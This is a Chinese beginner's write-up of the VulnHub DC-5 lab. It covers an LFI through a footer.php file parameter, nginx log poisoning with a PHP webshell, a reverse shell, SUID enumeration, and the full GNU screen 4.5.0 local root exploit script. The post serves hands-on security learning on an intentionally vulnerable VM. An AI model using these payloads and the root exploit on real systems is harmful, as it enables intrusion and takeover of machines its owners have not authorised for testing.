vulnhub DC-5记录

小白的学习记录,出错的地方还请谅解并指出

  • 老规矩扫描存活主机

  • nmap继续探测端口信息,发现开放80,111端口

  • 访问网页,一堆的英文,看了一下内容发现没有什么用,只有Contact页面有几个输入点,尝试了一下有没有sql注入点,返回没有报错还thankyou

  • 根据dc5的描述,存在随着页面刷新而改变的东西。


  • 然后就多刷新几次,发现底下年份会改变

  • 2019变成了2018

  • 直接上dirbuster扫一下后台,御剑不好用半天出不来

  • 发现了footer.php,如果是动态包含的路径就可能存在:本地文件包含(LFI)漏洞。一般文件包含的参数常见的有 include, require, page ,file, f等等。我这里用burp遍历一下变量名

  • 尝试一下包含网站目录外部的文件
后面加上?file=/etc/passwd

  • 成功了,由之前nmap的探测信息得知服务为nginx。那就接着尝试包含nginx的日志文件。先用get写入phpinfo()试探一下

  • 成功写入了,证明存在漏洞,那就写入一句话木马拿shell

  • 第一次尝试:burp中重做后发出

  • 再查看日志,发现成功被写入

  • 接着尝试连接,这次是第一次用哥斯拉(都说他很好用,跟跟风)结果碰壁了。试了几次还不行就放弃这个了。

  • 第二次尝试:还是拿出顺手的蚁剑,老规矩先写一句话木马

  • 然后连接成功

  • 进入网站目录康康

  • 蚁剑的虚拟终端操作不方便,我这里就反弹给kali本地

  • 反弹成功之后升级一下交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

  • 首先测试一下能否suid提权
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
-perm 按指定权限搜索
-u=s 中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。
-tpye 搜索指定的类型,f代表文件。
-exec 搜索完后执行指定的命令,{}代表所搜到的结果,命令以分号为结束标识。
2>/dev/null 不显示错误信息,

  • 发现了一个比较特殊的文件 screen-4.5.0,其他文件比较常见,应该是不能提权的。那就用searchsploit搜索一下这个比较特殊的文件。

  • 复制下来查看一下

  • 本来以为能直接用,就准备用ftp传过去

  • 创个账号

把文件移过来再加个权限

  • 然后登陆成功之后就传过去直接用了

  • 然后又碰壁了-_-太草率了。这个时候只能回去再看看源代码,修改一下再跑
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
  • 通过分析,应该对以上代码分三分 先把上面一部分c语言代码单独复制出来,在编译完成后将libhax.c文件删除

  • 把下面一个c语言代码也单独复制出来,按他要求的取文件名为rootshell.c,然后进行编译操作,之后再删了他。

  • 将剩下部分命名为dc5,但是需要在文件开头写入#!/bin/bash表示执行环境。最后保存是需要输入:set ff=unix是为了确定为linux文件格式,防止脚本的格式错误。

  • 这样就准备好了三份文件,准备把这三个文件上传给靶机,进行最后的提权了

上传的四种方法:

1.用scp:如下


 2.用nc,分别在靶机和kali端输入如图命令,不过要分三次有些麻烦


 3.将文件复制到本地网站上,开启apache服务。再在靶机端用wget下载,不过也麻烦也要分次。


4.我用的第四种,直接蚁剑一次性传上去。图形化多方便

  • 然后就切换到/tmp目录下,赋予运行脚本最高权限再执行

  • 最终得到flag!!!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值